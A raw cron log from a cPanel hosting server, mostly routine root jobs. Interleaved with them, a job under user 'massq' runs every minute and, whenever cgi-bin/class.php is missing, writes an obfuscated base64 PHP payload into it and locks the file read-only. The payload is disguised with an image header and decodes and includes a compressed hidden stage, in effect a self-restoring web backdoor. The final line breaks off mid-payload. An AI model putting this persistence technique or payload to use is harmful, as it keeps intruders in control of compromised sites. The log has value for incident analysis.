Sep  6 14:00:01 server CROND[32679]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 14:00:01 server CROND[32684]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  6 14:01:01 server CROND[1168]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 14:01:01 server CROND[1172]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 14:01:01 server CROND[1171]: (root) CMD (run-parts /etc/cron.hourly)
Sep  6 14:01:01 server CROND[1170]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 14:01:01 server run-parts(/etc/cron.hourly)[1171]: starting 0anacron
Sep  6 14:01:01 server run-parts(/etc/cron.hourly)[1191]: finished 0anacron
Sep  6 14:02:01 server CROND[1690]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 14:02:01 server CROND[1691]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 14:02:01 server CROND[1692]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 14:03:01 server CROND[2091]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 14:03:01 server CROND[2092]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 14:03:01 server CROND[2093]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 14:04:01 server CROND[2472]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 14:04:01 server CROND[2474]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 14:04:01 server CROND[2475]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 14:05:01 server CROND[2886]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 14:05:01 server CROND[2887]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 14:05:01 server CROND[2891]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  6 14:05:01 server CROND[2903]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 14:05:01 server CROND[2904]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 14:05:01 server CROND[2905]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 14:05:01 server CROND[2908]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 14:05:01 server CROND[2906]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 14:05:01 server CROND[2907]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 14:06:01 server CROND[3802]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 14:06:01 server CROND[3803]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 14:06:01 server CROND[3804]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 14:07:02 server CROND[4261]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 14:07:02 server CROND[4262]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 14:07:02 server CROND[4263]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 14:08:01 server CROND[4682]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 14:08:01 server CROND[4683]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 14:08:01 server CROND[4684]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 14:09:01 server CROND[5063]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 14:09:01 server CROND[5066]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 14:09:01 server CROND[5064]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  6 14:09:01 server CROND[5065]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 14:10:01 server CROND[5473]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 14:10:01 server CROND[5475]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 14:10:01 server CROND[5477]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 14:10:01 server CROND[5476]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 14:10:01 server CROND[5481]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 14:10:01 server CROND[5480]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 14:10:01 server CROND[5479]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 14:10:01 server CROND[5478]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 14:11:01 server CROND[6315]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 14:11:01 server CROND[6316]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 14:11:01 server CROND[6318]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 14:12:01 server CROND[6782]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 14:12:01 server CROND[6783]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 14:12:01 server CROND[6784]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9y